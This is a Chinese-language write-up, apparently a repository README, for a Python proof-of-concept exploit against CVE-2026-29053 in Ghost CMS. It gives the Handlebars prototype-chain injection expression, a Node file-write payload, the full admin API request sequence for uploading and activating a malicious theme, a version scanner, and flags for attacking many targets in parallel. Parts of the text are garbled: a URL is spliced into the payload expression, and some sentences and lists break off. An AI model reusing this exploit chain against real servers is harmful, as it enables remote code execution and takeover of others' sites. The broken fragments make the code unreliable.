CVE-2026-29053,影响基于 Node.js 构建的 Ghost 内容管理系统。从 0.7.2 到 6.19.0 的版本均受此问题影响。恶意主题可利用此漏洞在运行 Ghost 的服务器上执行任意代码。此漏洞的严重性为高,CVSS 评分为 7.6。此问题已在 6.19.1 版本中修复。成功利用此漏洞的攻击者可以获得对服务器的未授权访问,并可能完全控制服务器。随后他们可以利用此访问权限操纵数据、窃取敏感信息或执行其他恶意活动。受影响的产品/服务为 Ghost 从 0.7.2 到 6.19.0 的所有版本。为降低此风险,用户应尽快将其 Ghost 安装更新到 6.19.1 或更高版本。这将确保漏洞已被修复,不再构成威胁。如果目前无法进行更新,建议密切关注此漏洞的任何新进展,并采取必要的安全措施以防范潜在攻击。此 CVE 目前未列入 CISA 已知被利用漏洞(KEV)目录,这意味着它尚未被威胁行为者积极利用。但是,用户仍应优先更新其系统,以防止与此漏洞相关的任何潜在风险。
一个针对 CVE-2026-29053 的 Python PoC,该漏洞是 Ghost CMS 中的远程代码执行漏洞,由特制主题在模板渲染期间能够执行任意 JavaScript 引起。
受影响: Ghost
0.7.2至6.19.0已修复: Ghost6.19.1CWE: CWE-74 — 下游组件使用的输出中特殊元素的不当中和
Ghost 的公告将此问题描述为通过恶意主题实现任意代码执行。
Ghost 主题使用 Handlebars 模板(.hbs)。
特制的模板可以滥用 Ghost 处理 Handlebars 表达式的方式,访问本不应从普通主题模板触及的 JavaScript 功能。
利用的关键部分是模板表达式:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
在恶意主题被打包之前,payload 被插入到模板中。
随后,生成的模板通过 Ghost Admin API 上传并激活。
当 Ghost 随后渲染受影响的模板时,注入的表达式会导致 JavaScript payload 在 Ghost 服务器进程内执行。
PoC 首先建立一个已认证的 Ghost Admin 会话。
相关端点为:
POST /ghost/api/admin/session/
PoC 生成的请求等效于:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost 返回已认证的会话 cookie。
PoC 检查 HTTP 201,然后继续使用同一个 requests.Session() 对象。
该利用程序创建一个包含最小 Ghost 主题的 ZIP 归档。
重要文件为:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
恶意模板被写入:
page-rce.hbs
PoC 使用 Python 的 zipfile 模块完全在内存中构建该归档。
生成的 package.json 将该归档标识为 Ghost 主题:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
主题中易受攻击的部分是 page-rce.hbs 内的 Handlebars 表达式。
PoC 生成:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% 中。默认 PoC 使用文件写入 payload 作为代码执行的非破坏性证明。
它生成等效于以下内容的 JavaScript:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
这表明 payload 正在 Ghost Node.js 进程内执行,并且可以访问 Node.js 功能。
PoC 还包含用于实验环境的可选回调模式。
一旦恶意主题生成完毕,PoC 将其发送到:
POST /ghost/api/admin/themes/upload/
该请求是一个 multipart 表单上传。
概念上:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
该归档包含上述恶意 .hbs 模板。
PoC 期望 HTTP 200,并从 JSON 响应中提取返回的主题名称。
上传主题后,PoC 使用以下请求激活它:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
激活端点是动态构造的:
/ghost/api/admin/themes/{theme_name}/activate/
如果 Ghost 未返回 HTTP 200,该利用程序将停止。
随后 PoC 创建一个已发布的页面:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
代码使用 slug:
/rce/
如果页面已存在,它会尝试改为检索现有页面。
最终的触发仅仅是:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
这会导致 Ghost 渲染当前激活的主题。
PoC 检查返回的 HTML 中是否包含:
CVE-2026-29053 trigger
以确认 page-rce.hbs 已被渲染。
重要的区别在于,攻击者不仅仅是在页面中注入 HTML。
恶意输入成为 Ghost Handlebars 主题模板的一部分。
该模板随后由 Ghost 的服务端渲染系统解释。
特制的表达式通过原型/构造链触及 JavaScript 功能:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
attacker-controlled JavaScript
生成的 JavaScript 在 Ghost 服务器进程中执行。
PoC 通过访问 Node 内置的 fs 模块并在服务器上写入文件来演示这一点。
将 HTTP 交互整合在一起:
1. POST /ghost/api/admin/session/
└── authenticate
2. POST /ghost/api/admin/themes/upload/
└── upload malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activate malicious theme
4. POST /ghost/api/admin/pages/
└── create /rce/
5. GET /rce/
└── render malicious page-rce.hbs
└── Handlebars expression
└── JavaScript execution
└── OS-level impact
PoC 还包含一个扫描器。
它请求:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
响应被解析以获取:
{
"site": {
"version": "6.19.0"
}
}
随后 PoC 将版本与以下范围进行比较:
0.7.2 <= version <= 6.19.0
并将匹配的版本报告为易受攻击。
已发布的公告将受影响范围指定为 >= 0.7.2, < 6.19.1,其中 6.19.1 为修复版本。
python3 exploit.py --target http://TARGET
默认证明路径为:
/tmp/cve-2026-29053-rce.txt
可以通过以下方式更改:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
如果 Ghost 设置已经完成:
python3 exploit.py --target http://TARGET --skip-setup
可以使用以下方式提供凭据:
--email
--password
可以从文件提供目标:
python3 exploit.py --file targets.txt
线程数:
python3 exploit.py --file targets.txt --threads 25
扫描器检查 Ghost Admin 站点端点,并将报告的 Ghost 版本与易受攻击范围进行比较。
成功利用允许在 Ghost 服务器进程内执行任意 JavaScript。
根据 Ghost 进程的权限和所使用的 payload,这可能影响:
已发布的 CVE 记录将该问题评为网络可达,但需要高权限和用户交互,且作用域已更改。
将 Ghost 升级到:
6.19.1+
Ghost 的漏洞公告将 6.19.1 标识为已修复版本。
不要安装不受信任的主题。
此 PoC 仅供漏洞研究、授权渗透测试和教育目的使用。